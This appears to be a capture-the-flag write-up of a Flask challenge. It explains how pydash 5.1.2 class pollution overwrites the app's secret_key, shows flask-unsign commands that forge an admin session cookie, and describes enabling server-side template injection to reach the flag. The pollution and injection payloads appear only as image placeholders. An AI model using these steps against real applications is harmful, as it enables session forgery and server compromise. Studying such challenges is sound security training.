Challenge Overview

The source code is provided. It’s an application that uses Flask (Python). The first thing to do is to look at the installed libraries. They are in the requirements.txt file.

pydash==5.1.2
flask

A google search allows us to determine that pydash is a library that allows manipulation of arrays, strings, and dictionaries (https://pydash.readthedocs.io/en/latest/).

The app.py file contains interesting information. It is quickly noticed that the Flask secret is hardcoded in the source code. This secret allows the Flask session tokens to be signed.

from re import template
from flask import Flask, render_template, render_template_string, request, redirect, session, sessions
from users import Users
from articles import Articles


users = Users()
articles  = Articles()
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'

Next, we will list the different routes :

  • /create
  • /remove/<name>
  • /articles/<name>
  • /articles
  • /show_template
  • /register
  • /login
  • /logout
  • /

If we look at the end of the file, we notice that the debug mode is enabled :

app.run('0.0.0.0', 5000, debug=True)

The route /articles/<name> is interesting because the render_template_string() function is used and is often vulnerable to Server-Side Template Injection (SSTI). The parameter passed to the function is the content of the article that can be controlled via a POST request.

@app.route("/articles/<name>")
def render_page(name):
    article_content = articles[name]
    if article_content == None:
        pass
    if 'user' in session and users[session['user']['username']]['seeTemplate'] != False:
        article_content = render_template_string(article_content)
    return render_template('article.html', article={'name':name, 'content':article_content})

The problem is that the seeTemplate attribute must be set to True in order to pass the condition. By default, it is set to False.

The show_template() function allows set the seeTemplate attribute to True if the value parameter is passed with a value of 1 and if the user has the restricted attribute set to False, which is not the case for default users.

@app.route('/show_template')
def show_template():
    if 'user' in session and users[session['user']['username']]['restricted'] == False:
        if request.args.get('value') == '1':
            users[session['user']['username']]['seeTemplate'] = True
            session['user']['seeTemplate'] = True
        else:
            users[session['user']['username']]['seeTemplate'] = False
            session['user']['seeTemplate'] = False
    return redirect('/articles')

In the users.py file, we can see that there is a user with the username admin who has the restricted attribute set to False.

class Users:

    users = {}

    def __init__(self):
        self.users['admin'] = {'password': None, 'restricted': False, 'seeTemplate':True }

    def create(self, username, password):
        if username in self.users:
            return 0
        self.users[username]= {'password': hashlib.sha256(password.encode()).hexdigest(), 'restricted': True, 'seeTemplate': False}
        return 1

The plan is :

  • Using the Flask secret, we generate the admin's cookie to log in.
  • Once logged in as admin, we make a request to the /show_template?value=1 route to activate templates.
  • We can then inject code into the article content (SSTI).

All of this works well locally until I tested it remotely and when changing the cookie, the application logged me out.

THE COOKIE IS NOT VALID ! This means that the secret is not the same in remote.

Mmmh, we’ll need to come up with a new plan. Let’s remember that the application uses pydash with a specific version: 5.1.2.

Pydash will use the set_() function, which allows you to define or update a key and its value in a dictionary. Here, self represents the current object on which the method is called. The set_() method takes two arguments : article_name and article_content.

Therefore, calling this function will add or update the article_name key in the dictionary of the self object with the article_content value.

class Articles:

    def __init__(self):
        self.set('welcome', 'Test of new template system: {%block test%}Block test{%endblock%}')

    def set(self, article_name, article_content):
        pydash.set_(self, article_name, article_content)
        return True

We can then pollute the elements of the current object ! Thanks to Python's internals, we can go up and access the variable app.secret_key and modify its value. This writeup allowed me to retrieve the correct payload : https://ctftime.org/writeup/36082

Payload

The value of the secret_key has been successfully modified. We can create an account and decode the cookie :

Cookie: session=eyJ1c2VyIjp7InNlZVRlbXBsYXRlIjpmYWxzZSwidXNlcm5hbWUiOiJ0ZXN0In19.ZFkXDw.7hD6Ncw3zhZk8nz7T21WMw9zbdI
➜ flask-unsign --decode --cookie 'eyJ1c2VyIjp7InNlZVRlbXBsYXRlIjpmYWxzZSwidXNlcm5hbWUiOiJ0ZXN0In19.ZFkXDw.7hD6Ncw3zhZk8nz7T21WMw9zbdI'

{'user': {'seeTemplate': False, 'username': 'test'}}

We modify the username to admin and sign the cookie with our key :

➜ flask-unsign --sign --cookie '{"user": {"username": "admin"}}' --secret 'this1smys3cr3tKey'

eyJ1c2VyIjp7InVzZXJuYW1lIjoiYWRtaW4ifX0.ZFkXjQ.rb6y1pUs-oeFm9DNgR4Z4GIJqsc

We replace our cookie with the one we just generated in our browser and refresh the page. We are now connected as admin !

Cookie

We perform the request to activate the templates :

Template

All that remains is to test if the template injection works :

SSTI1 SSTI2

And we retrieve the flag !

Flag1 Flag2

  • PWNME{de3P_pOL1uTi0n_cAn_B3_D3s7rUctIv3}